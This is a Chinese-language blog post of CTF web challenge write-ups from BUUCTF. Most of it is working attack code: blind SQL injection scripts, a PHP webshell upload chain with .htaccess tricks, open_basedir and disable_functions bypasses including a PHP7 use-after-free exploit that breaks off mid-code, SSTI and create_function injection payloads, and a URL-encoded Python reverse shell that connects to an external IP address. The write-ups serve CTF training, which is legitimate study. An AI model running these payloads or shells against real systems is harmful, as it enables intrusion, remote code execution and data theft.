1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import requestsurl = "http://aef16e32-90b1-4ea9-8cf6-ce25567b080d.node4.buuoj.cn/" result = "" for i in range (1 , 200 ): left = 32 right = 128 while left < right: mid = int ((left + right - 1 ) / 2 ) data = { "id" : f'2||((select 1,"{result + chr (mid)} ")>(select * from f1ag_1s_h3r3_hhhhh))' } res = requests.post(url=url, data=data) if "Nu1L" in res.text: right = mid else : left = mid + 1 result += chr (int ((left + right - 1 ) / 2 )) print(f"[+]Result new is: {result} " )
拿到flag
flag{e2987a47-cb43-46cf-955a-b25eea7235ee}
[SUCTF 2019]EasyWeb 题目直接给出了代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php function get_the_flag ( ) { $userdir = "upload/tmp_" .md5($_SERVER ['REMOTE_ADDR' ]); if (!file_exists($userdir )){ mkdir($userdir ); } if (!empty ($_FILES ["file" ])){ $tmp_name = $_FILES ["file" ]["tmp_name" ]; $name = $_FILES ["file" ]["name" ]; $extension = substr($name , strrpos($name ,"." )+1 ); if (preg_match("/ph/i" ,$extension )) die ("^_^" ); if (mb_strpos(file_get_contents($tmp_name ), '<?' )!==False ) die ("^_^" ); if (!exif_imagetype($tmp_name )) die ("^_^" ); $path = $userdir ."/" .$name ; @move_uploaded_file($tmp_name , $path ); print_r($path ); } } $hhh = @$_GET ['_' ];if (!$hhh ){ highlight_file(__FILE__ ); } if (strlen($hhh )>18 ){ die ('One inch long, one inch strong!' ); } if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i' , $hhh ) ) die ('Try something else!' ); $character_type = count_chars($hhh , 3 );if (strlen($character_type )>12 ) die ("Almost there!" );eval ($hhh );?>
很明显,过滤了字母数字,然后进一个eval(),上面又给出了一个get_the_flag()函数,这里可以上传文件。从eval那拿flag很明显是很困难的,所以可以换个思路,通过eval()执行get_the_flag()函数,然后进行文件上传一句话木马。
无数字字母RCE 首先是要能执行get_the_flag()函数,但是由于把数字和字母都ban了 ,所以这里准备用异或绕
直接上脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php $need = "_GET" ;$payload = "" ;for ($i = 0 ; $i < strlen($need ); $i ++){ for ($j = 0 ; $j < 255 ; $j ++){ $k = chr($j )^chr(255 ); if ($k == $need [$i ]){ $payload .= '%' .dechex($j ); } } } echo $payload ;
用phpinfo试试
其实这里有个非预期解,在phpinfo里直接搜flag是可以拿到flag的。
文件上传绕过 这里虽然能上传文件了,但是还是需要绕过一些if。
首先是
1 if (preg_match("/ph/i" ,$extension )) die ("^_^" );
这要绕ph,可以用.htaccess绕过。
然后是
1 2 if (mb_strpos(file_get_contents($tmp_name ), '<?' )!==False ) die ("^_^" );if (!exif_imagetype($tmp_name )) die ("^_^" );
这里则需要绕过’<?’和exif_imagetype(),具体原理看这 。
直接用脚本生成文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n" def generate_php_file (filename, script ): phpfile = open (filename, 'wb' ) phpfile.write(script.encode('utf-16be' )) phpfile.write(SIZE_HEADER) phpfile.close() def generate_htacess (): htaccess = open ('.htaccess' , 'wb' ) htaccess.write(SIZE_HEADER) htaccess.write(b'AddType application/x-httpd-php .lethe\n' ) htaccess.write(b'php_value zend.multibyte 1\n' ) htaccess.write(b'php_value zend.detect_unicode 1\n' ) htaccess.write(b'php_value display_errors 1\n' ) htaccess.close() generate_htacess() generate_php_file("shell.lethe" , "<?php eval($_GET['cmd']); die(); ?>" )
然后用postman分别上传。
成功进入后即可拿到eval()可控权,但是从之前的phpinfo里可以看出,ban了许多函数了,但是我们可以选择读取目录,然后查看flag的位置直接打开。
这里可以看出题目做了open_basedir限制,所以我们需要绕过open_basedir()。
open_basedir()绕过 具体原理看这 。
然后构造出一个查看根目录的payload:
cmd=chdir(‘/tmp’);mkdir(‘R0SW’);chdir(‘R0SW’);ini_set(‘open_basedir’,’..’);chdir(‘..’);chdir(‘..’);chdir(‘..’);chdir(‘..’);ini_set(‘open_basedir’,’/‘);var_dump(scandir(‘/‘));
然后直接查看flag,payload:
cmd=chdir(‘/tmp’);mkdir(‘R0SW’);chdir(‘R0SW’);ini_set(‘open_basedir’,’..’);chdir(‘..’);chdir(‘..’);chdir(‘..’);chdir(‘..’);ini_set(‘open_basedir’,’/‘);var_dump(file_get_contents(THis_Is_tHe_F14g));
即可拿到flag
flag{8150a122-84de-4eb3-bae2-1fc81971f572}
[HarekazeCTF2019]encode_and_encode 好长的名字(x
json编码绕过 题目直接给了query.php的源码,直接审计源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php error_reporting(0 ); if (isset ($_GET ['source' ])) { show_source(__FILE__ ); exit (); } function is_valid ($str ) { $banword = [ '\.\.' , '(php|file|glob|data|tp|zip|zlib|phar):' , 'flag' ]; $regexp = '/' . implode('|' , $banword ) . '/i' ; if (preg_match($regexp , $str )) { return false ; } return true ; } $body = file_get_contents('php://input' );$json = json_decode($body , true );if (is_valid($body ) && isset ($json ) && isset ($json ['page' ])) { $page = $json ['page' ]; $content = file_get_contents($page ); if (!$content || !is_valid($content )) { $content = "<p>not found</p>\n" ; } } else { $content = '<p>invalid request</p>' ; } $content = preg_replace('/HarekazeCTF\{.+\}/i' , 'HarekazeCTF{<censored>}' , $content );echo json_encode(['content' => $content ]);
先是给了个正则过滤函数,过滤掉了一些字符,还不给目录遍历。
然后是从php://input伪协议中读取,接着json_decode一下,之后就是if查过滤。
但是,but,if里查的是$body,而不是$json,那么这里就好绕了,我们只需要用一个json_decode能解出来的,而php不能解出来的编码即可绕过,那就是unicode编码。
然后直接burpsuite里post就行了。
拿到flag
flag{87cab010-10db-422e-8687-246e2406df00}
[b01lers2020]Welcome to Earth BurpSuite拦截 打开题目发现页面会自动跳转,跳转到一个什么也没有的/die/,用BurpSuite拦一拦。
发现一个/chase/,直接跳转进去。
有三个都是进/die/的,有一个进了/leftt/,跟进去。
有个/shoot/,跟进去。
跟到/door/之后需要查看door.js。
1 2 3 4 5 6 7 8 9 10 11 function check_door ( ) { var all_radio = document .getElementById("door_form" ).elements; var guess = null ; for (var i = 0 ; i < all_radio.length; i++) if (all_radio[i].checked) guess = all_radio[i].value; rand = Math .floor(Math .random() * 360 ); if (rand == guess) window .location = "/open/" ; else window .location = "/die/" ; }
跟进/open/,进去open_sesame.js。
1 2 3 4 5 6 7 8 9 10 function sleep (ms ) { return new Promise (resolve => setTimeout (resolve, ms)); } function open (i ) { sleep(1 ).then(() => { open(i + 1 ); }); if (i == 4000000000 ) window .location = "/fight/" ; }
跟进/fight/,进去fight.js。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 function scramble (flag, key ) { for (var i = 0 ; i < key.length; i++) { let n = key.charCodeAt(i) % flag.length; let temp = flag[i]; flag[i] = flag[n]; flag[n] = temp; } return flag; } function check_action ( ) { var action = document .getElementById("action" ).value; var flag = ["{hey" , "_boy" , "aaaa" , "s_im" , "ck!}" , "_baa" , "aaaa" , "pctf" ]; }
这里就给出了flag,但是是乱序的,写脚本排下序。
1 2 3 4 5 6 7 8 9 10 11 12 from itertools import permutationsflag = ["{hey" , "_boy" , "aaaa" , "s_im" , "ck!}" , "_baa" , "aaaa" , "pctf" ] item = permutations(flag) for i in item: j = '' .join(list (i)) if j.startswith("pctf{hey_boys" ) and j[-1 ] == "}" : print(j)
顺序正常的那个就是flag。
pctf{hey_boys_im_baaaaaaaaaack!}
[NCTF2019]SQLi regexp注入 有robots.txt,进去可以拿到hint.txt
1 2 3 4 5 $black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|'|=| |in|<|>|-|.|()|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i" ;If $_POST ['passwd' ] === admin's password, Then you will get the flag;
这里直接就给出了过滤的内容,ban了挺多东西的,但是只要有password就可以拿到flag,而且regexp放出来了,尝试regexp注入。
写盲注脚本前先跑一下正确的显示,方便写脚本。
然后是写脚本时间!虽然空格没了,但是可以用/**/注释符代替
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import requestsfrom urllib import parseurl = "http://7c2e6748-2f52-4cd7-bf7e-353a4bab5b98.node4.buuoj.cn/" reg = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890" + "_" flag = "" for i in range (1 , 100 ): for mid in reg: data = { "username" : "\\" , "passwd" : f'||/**/passwd/**/regexp/**/"^{flag + mid} ";{parse.unquote("%00" )} ' } res = requests.post(url=url, data=data) if "welcome.php" in res.text: flag += mid print(f"[+]Flag new is: {flag.lower()} " ) break
可以跑出password
you_will_never_know7788990
然后直接登陆就行了。
拿到flag
flag{0c36d354-c693-4611-9c3b-ff418512f386}
[watevrCTF-2019]Cookie Store 签到题估计是ヾ(´・・`。)ノ。
cookie伪造 直接拿cookie去base64解码,然后把money改到100以上,直接买曲奇就能拿到flag。
[WUSTCTF2020]CV Maker 简单的文件上传,虽然有exif_imagetype()挡着,但是可以在文件头前加东西绕过。
1 2 GIF89a? <?php eval ($_GET ['cmd' ]);?>
直接登陆传上去就有shell了,地址可以在上传后的头像上看到。
然后进去拿flag。
就可以拿到flag了
flag{c3944c3a-0d58-4fb3-bb2c-6c8b89290cc3}
[RootersCTF2019]I_<3_Flask 简单SSTI 题目很明显的给出了是flask,用arjun爆一下参数。
可以知道注入点是name,简单测试一下。
很明显是jinjia2模板,直接拿权。
拿flag。
flag{d4f17600-d22b-4bc9-95d4-eda38ea5df04}
[网鼎杯 2020 白虎组]PicDown 目录穿越 题目给了个url参数,试了试发现可以目录穿越读东西,直接看/etc/passwd/
?url=../../../../etc/passwd
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin app:x:1000:1000::/home/app:/bin/sh
没什么东西,看一下/proc/self/cmdline,/proc/self原理在这里 。
说明有app.py存在,直接拿。
?url=app.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from flask import Flask, Responsefrom flask import render_templatefrom flask import requestimport osimport urllibapp = Flask(__name__) SECRET_FILE = "/tmp/secret.txt" f = open (SECRET_FILE) SECRET_KEY = f.read().strip() os.remove(SECRET_FILE) @app.route('/' ) def index (): return render_template('search.html' ) @app.route('/page' ) def page (): url = request.args.get("url" ) try : if not url.lower().startswith("file" ): res = urllib.urlopen(url) value = res.read() response = Response(value, mimetype='application/octet-stream' ) response.headers['Content-Disposition' ] = 'attachment; filename=beautiful.jpg' return response else : value = "HACK ERROR!" except : value = "SOMETHING WRONG!" return render_template('search.html' , res=value) @app.route('/no_one_know_the_manager' ) def manager (): key = request.args.get("key" ) print(SECRET_KEY) if key == SECRET_KEY: shell = request.args.get("shell" ) os.system(shell) res = "ok" else : res = "Wrong Key!" return res if __name__ == '__main__' : app.run(host='0.0.0.0' , port=8080 )
可以看到给shell了,但是没有回显,而且key的secret.txt被删掉了,然后这里可以看/proc/self/fd/$pid,这个原理也在上面。
然后爆破一下secret.txt的$pid,我这边爆出来是3。
这下key就有了,然后就是拿shell了,因为没有回显,所以我选择反弹shell,python里面的嘛,就用python弹,原理看这里 。
tips: 重开过一次靶机,所以key不一样,记得要url编码(对了,如果是拿自己的服务器反弹shell的话,要记得开放端口。
?key=AuSDLlY07BCOCurV2ZQerfSDZ1ExvuICcJgh0ewklTw%3D&shell=python3%20%2Dc%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22116%2E62%2E243%2E231%22%2C1234%29%29%3Bos%2Edup2%28s%2Efileno%28%29%2C0%29%3B%20os%2Edup2%28s%2Efileno%28%29%2C1%29%3B%20os%2Edup2%28s%2Efileno%28%29%2C2%29%3Bp%3Dsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%29%3B%27
拿到flag。
flag{61c36378-9daa-4176-94bf-1e1006d05c4b}
[CISCN2019 华东南赛区]Double Secret 有点像密码题(x
题目刚进来给了句Welcome To Find Secret
,然后我就好奇心使然(只能说好奇一点点,不能再多了,去看了看/secret。
结果有一句Tell me your secret.I will encrypt it so others can't see
,明示了嗷,填个secret参数看看。
不对头,很明显被加密了,随便填点东西。
发现直接报错了,而且给了源码,那就好说话了,secret先是会被RC4解密,然后再经过render_template_string
模板渲染,那这就是很明显的模板注入了,但是要先RC4加密才能正确输入payload。
可以网上随便找个脚本进行加密
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import base64from urllib import parsedef rc4_main (key="init_key" , message="init_message" ): s_box = rc4_init_sbox(key) crypt = str (rc4_excrypt(message, s_box)) return crypt def rc4_init_sbox (key ): s_box = list (range (256 )) j = 0 for i in range (256 ): j = (j + s_box[i] + ord (key[i % len (key)])) % 256 s_box[i], s_box[j] = s_box[j], s_box[i] return s_box def rc4_excrypt (plain, box ): res = [] i = j = 0 for s in plain: i = (i + 1 ) % 256 j = (j + box[i]) % 256 box[i], box[j] = box[j], box[i] t = (box[i] + box[j]) % 256 k = box[t] res.append(chr (ord (s) ^ k)) cipher = "" .join(res) return str (base64.b64encode(cipher.encode('utf-8' )), 'utf-8' ) key = "HereIsTreasure" message = "{{config.__class__.__init__.__globals__['os'].popen('cat /flag.txt').read()}}" enc_base64 = rc4_main(key, message) enc_init = str (base64.b64decode(enc_base64), 'utf-8' ) enc_url = parse.quote(enc_init) print("rc4加密后的url编码:" + enc_url)
模板注入没ban啥东西,直接拿flag就是了。
flag{3bc3cf51-2658-4f98-93dc-a206fcb3048e}
[BJDCTF2020]EzPHP 只能说这题,重头戏之重中之重。
进入题目之后可以在页面源代码中看到
将GFXEIM3YFZYGQ4A=
进行base64解码后可以得到一个1nD3x.php
,进入后直接给出了源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 <?php highlight_file(__FILE__ ); error_reporting(0 ); $file = "1nD3x.php" ;$shana = $_GET ['shana' ];$passwd = $_GET ['passwd' ];$arg = '' ;$code = '' ;echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>" ;if ($_SERVER ) { if ( preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i' , $_SERVER ['QUERY_STRING' ]) ) die ('You seem to want to do something bad?' ); } if (!preg_match('/http|https/i' , $_GET ['file' ])) { if (preg_match('/^aqua_is_cute$/' , $_GET ['debu' ]) && $_GET ['debu' ] !== 'aqua_is_cute' ) { $file = $_GET ["file" ]; echo "Neeeeee! Good Job!<br>" ; } } else die ('fxck you! What do you want to do ?!' ); if ($_REQUEST ) { foreach ($_REQUEST as $value ) { if (preg_match('/[a-zA-Z]/i' , $value )) die ('fxck you! I hate English!' ); } } if (file_get_contents($file ) !== 'debu_debu_aqua' ) die ("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>" ); if ( sha1($shana ) === sha1($passwd ) && $shana != $passwd ){ extract($_GET ["flag" ]); echo "Very good! you know my password. But what is flag?<br>" ; } else { die ("fxck you! you don't know my password! And you don't know sha1! why you come here!" ); } if (preg_match('/^[a-z0-9]*$/isD' , $code ) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i' , $arg ) ) { die ("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=" ); } else { include "flag.php" ; $code ('' , $arg ); } ?>
咱一个一个看。
$_SERVER[‘QUERY_STRING’]正则绕过 先解释一下$_SERVER[‘QUERY_STRING’],这个简单测试一下就可以发现。
1 2 3 4 5 6 7 8 9 10 11 12 13 url = "http://localhost/aaa" 结果: $_SERVER['QUERY_STRING'] = "" url = "http://localhost/aaa?aaa" 结果: $_SERVER['QUERY_STRING'] = "aaa" url = "http://localhost/aaa?aaa=111" 结果: $_SERVER['QUERY_STRING'] = "aaa=111" 可见$_SERVER['QUERY_STRING'] 获取查询语句 取的是?之后的值
而且$_SERVER[‘QUERY_STRING’]是无法进行urldecode(),而$_GET[]是可以进行urldecode(),所以我们可以使用url编码进行绕过。
字符串正则匹配绕过 1 2 3 4 5 6 if (!preg_match('/http|https/i' , $_GET ['file' ])) { if (preg_match('/^aqua_is_cute$/' , $_GET ['debu' ]) && $_GET ['debu' ] !== 'aqua_is_cute' ) { $file = $_GET ["file" ]; echo "Neeeeee! Good Job!<br>" ; } } else die ('fxck you! What do you want to do ?!' );
可见我们需要使正则能在debu中匹配到aqua_is_cute
,但又不能使debu==’aqua_is_cute’。
这种我们可以用%0a换行污染进行绕过,payload:
?debu=aqua_is_cute%0a
$_REQUEST正则绕过 1 2 3 4 5 6 if ($_REQUEST ) { foreach ($_REQUEST as $value ) { if (preg_match('/[a-zA-Z]/i' , $value )) die ('fxck you! I hate English!' ); } }
foreach
将$_REQUEST
的键值赋值给了$value
,然后是正则匹配$value
是否含有字母,否则就die()。
这里要说一下,$_REQUEST可以同时获取$_GET
和$_POST
的值,但是是有顺序的。
而具体顺序决定是在php.ini配置文件中。
This directive describes the order in which PHP registers GET, POSTand Cookie variables into the _REQUEST array. Registration is donefrom left to right, newer values override older values.
可以看到优先值是POST才到GET,那么我们就可以用POST覆盖GET的值进行绕过。
这样就可以绕过$_REQUEST正则了。
file_get_contents()文件比较绕过 1 2 if (file_get_contents($file ) !== 'debu_debu_aqua' ) die ("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>" );
这里需要file_get_contents($file)得到的字符串与debu_debu_aqua
相等,而我们不清楚是否存在含有debu_debu_aqua
字符串的文件,且文件名也是未知的,所以我们可以使用伪协议进行绕过。
1 2 3 data://text/plain,debu_debu_aqua 或者 data://text/plain;base64,ZGVidV9kZWJ1X2FxdWE=
sha1()比较绕过 1 2 3 4 5 6 if ( sha1($shana ) === sha1($passwd ) && $shana != $passwd ){ extract($_GET ["flag" ]); echo "Very good! you know my password. But what is flag?<br>" ; } else { die ("fxck you! you don't know my password! And you don't know sha1! why you come here!" ); }
这里需要sha1($shana)
与sha1($passwd)
的值相等,且$shana
!=$passwd
,否则die()。
由于sha1()函数无法处理数组,所以我们可以使用数组绕过。
create_function代码注入 1 2 3 4 5 6 7 if (preg_match('/^[a-z0-9]*$/isD' , $code ) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i' , $arg ) ) { die ("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=" ); } else { include "flag.php" ; $code ('' , $arg ); }
到最后了,这里ban了超级多的东西,但是又有一个incoude "flag.php"
,那这明显不是让我们进行RCEcat flag.php
的了。
由于上面有一个extract($_GET["flag"]);
,这样我们可以通过构造flag[code]数组进行$code
变量覆盖,这样子$code
和$arg
都是可控的了,于是就可以进行代码注入,payload:
flag[arg]=}a();//&flag[code]=create_function
先解释下原理,create_function()可以构造一个lambda类型的函数。
1 2 $myfun = create_function('$a,$b' ,'return($a+$b);' );echo $myfun (1 ,2 );
这相当于
1 2 3 function myfunc ($a ,$b ) { return ($a +$b ) }
而$code是可控的,所以我们可以进行人工闭合。
1 2 $myfun = create_function('$a,$b' ,'return($a+$b);}phpinfo();//' );$myfun (1 ,2 );
于是就可以进行代码注入了。
获取flag 由于include "flag.php"
了,我们可以用get_defined_vars()
将所有变量的值输出出来。
最终payload:
1 2 3 4 5 6 7 8 ?%66%69%6c%65=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%66%6c%61%67%5b%61%72%67%5d=%7d%76%61%72%5f%64%75%6d%70%28%67%65%74%5f%64%65%66%69%6e%65%64%5f%76%61%72%73%28%29%29%3b%2f%2f&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2 解码: ?file=data://text/plain,debu_debu_aqua&debu=aqua_is_cute &flag[arg]=}var_dump(get_defined_vars());//&flag[code]=create_function&shana[]=1&passwd[]=2 post: file=1&debu=1
可惜拿到了一个FakeFlag,但是好歹告诉了real_flag在realfl4g.php
里。
接下来就需要包含rea1fl4g.php
并且得到flag。
由于include用不了,选择用require。
由于.用不了,可以使用base64_decode绕过。
payload:
1 2 3 4 5 6 7 8 ?%66%69%6c%65=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%66%6c%61%67%5b%61%72%67%5d=%7d%72%65%71%75%69%72%65%28%62%61%73%65%36%34%5f%64%65%63%6f%64%65%28%63%6d%56%68%4d%57%5a%73%4e%47%63%75%63%47%68%77%29%29%3b%76%61%72%5f%64%75%6d%70%28%67%65%74%5f%64%65%66%69%6e%65%64%5f%76%61%72%73%28%29%29%3b%2f%2f&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2 解码: ?file=data://text/plain,debu_debu_aqua&debu=aqua_is_cute &flag[arg]=}require(base64_decode(cmVhMWZsNGcucGhw));var_dump(get_defined_vars());//&flag[code]=create_function&shana[]=1&passwd[]=2 post: file=1&debu=1
但是拿到的还是FakeFlag,而且没有flag参数,查看源码发现$rea1_f1114g
被unset()
了。
选择直接读源码,由于fopen()
和fgets
都没有被ban,但由于只能一行一行的读,所有用while循环读。
1 2 3 4 5 6 7 8 ?%66%69%6c%65=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%66%6c%61%67%5b%61%72%67%5d=%7d%64%65%66%69%6e%65%28%61%2c%66%6f%70%65%6e%28%7e%28%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F%29%2c%72%29%29%3b%77%68%69%6c%65%28%21%66%65%6f%66%28%61%29%29%76%61%72%5f%64%75%6d%70%28%66%67%65%74%73%28%61%29%29%3b%66%63%6c%6f%73%65%28%61%29%3b%2f%2f&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2 解码: ?file=data://text/plain,debu_debu_aqua&debu=aqua_is_cute &flag[arg]=}define(a,fopen(~(%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F),r));while(!feof(a))var_dump(fgets(a));fclose(a);//&flag[code]=create_function&shana[]=1&passwd[]=2 post: file=1&debu=1
base64_decode()本地测试可以用,但是放postman里直接跑就不行了,所以选择取反进行绕过。
最后得到flag。
flag{89a3d450-9605-4f80-8692-215310ebc838}
[GYCTF2020]EasyThinking ThinkPhp6.0文件包含漏洞 具体是个ThinkPhp6.0 Session 文件包含漏洞,漏洞分析具体看这里 。
我们具体看咋用,先直接注册一个账号。
修改PHPSESSID的值以达成文件包含,(注意限制了32长度,包含.php
上传成功后可在search处写一句话木马。
上传成功后是储存在/runtime/session/
里
disable_functions绕过 这里直接在phpinfo里可以看见ban了很多函数,虽然可以直接连接进蚁剑,但是我们没有权限直接查看flag,那八成就是通过readflag拿到flag了。
蚁剑disable_functions绕过 可以用蚁剑里disable_functions
插件中的PHP7_Backtrace_UAF模式进行绕过
。
漏洞原理:
漏洞利用的是 debug_backtrace这个函数,可以利用该函数的漏洞返回已经销毁的变量的引用达成堆溢出,漏洞为bug #76047 。
选择PHP7_Backtrace_UAF
模式,点击开始。
然后在虚拟终端直接/readflag
,即可拿到flag。
Exp上传绕过 网上dalao写的exp ,原理也是上面的debug_backtrace()
,把command改成/readflag
,然后通过蚁剑上传即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 <?php pwn("/readflag" ); function pwn ($cmd ) { global $abc , $helper , $backtrace ; class Vuln { public $a ; public function __destruct ( ) { global $backtrace ; unset ($this ->a); $backtrace = (new Exception )->getTrace(); if (!isset ($backtrace [1 ]['args' ])) { $backtrace = debug_backtrace(); } } } class Helper { public $a , $b , $c , $d ; } function str2ptr (&$str , $p = 0 , $s = 8 ) { $address = 0 ; for ($j = $s -1 ; $j >= 0 ; $j --) { $address <<= 8 ; $address |= ord($str [$p +$j ]); } return $address ; } function ptr2str ($ptr , $m = 8 ) { $out = "" ; for ($i =0 ; $i < $m ; $i ++) { $out .= chr($ptr & 0xff ); $ptr >>= 8 ; } return $out ; } function write (&$str , $p , $v , $n = 8 ) { $i = 0 ; for ($i = 0 ; $i < $n ; $i ++) { $str [$p + $i ] = chr($v & 0xff ); $v >>= 8 ; } } function leak ($addr , $p = 0 , $s = 8 ) { global $abc , $helper ; write($abc , 0x68 , $addr + $p - 0x10 ); $leak = strlen($helper ->a); if ($s != 8 ) { $leak %= 2 << ($s * 8 ) - 1 ; } return $leak ; } function parse_elf ($base ) { $e_type = leak($base , 0x10 , 2 ); $e_phoff = leak($base , 0x20 ); $e_phentsize = leak($base , 0x36 , 2 ); $e_phnum = leak($base , 0x38 , 2 ); for ($i = 0 ; $i < $e_phnum ; $i ++) { $header = $base + $e_phoff + $i * $e_phentsize ; $p_type = leak($header , 0 , 4 ); $p_flags = leak($header , 4 , 4 ); $p_vaddr = leak($header , 0x10 ); $p_memsz = leak($header , 0x28 ); if ($p_type == 1 && $p_flags == 6 ) { $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr ; $data_size = $p_memsz ; } else if ($p_type == 1 && $p_flags == 5 ) { $text_size = $p_memsz ; } } if (!$data_addr || !$text_size || !$data_size ) return false ; return [$data_addr , $text_size , $data_size ]; } function get_basic_funcs ($base , $elf ) { list ($data_addr , $text_size , $data_size ) = $elf ; for ($i = 0 ; $i < $data_size / 8 ; $i ++) { $leak = leak($data_addr , $i * 8 ); if ($leak - $base > 0 && $leak - $base < $data_addr - $base ) { $deref = leak($leak ); if ($deref != 0x746e6174736e6f63 ) continue ; } else continue ; $leak = leak($data_addr , ($i + 4 ) * 8 ); if ($leak - $base > 0 && $leak - $base < $data_addr - $base ) { $deref = leak($leak ); if ($deref != 0x786568326e6962 ) continue ; } else continue ; return $data_addr + $i * 8 ; } } function get_binary_base ($binary_leak ) { $base = 0 ; $start = $binary_leak & 0xfffffffffffff000 ; for ($i = 0 ; $i < 0x1000 ; $i ++) { $addr = $start - 0x1000 * $i ; $leak = leak($addr , 0 , 7 ); if ($leak == 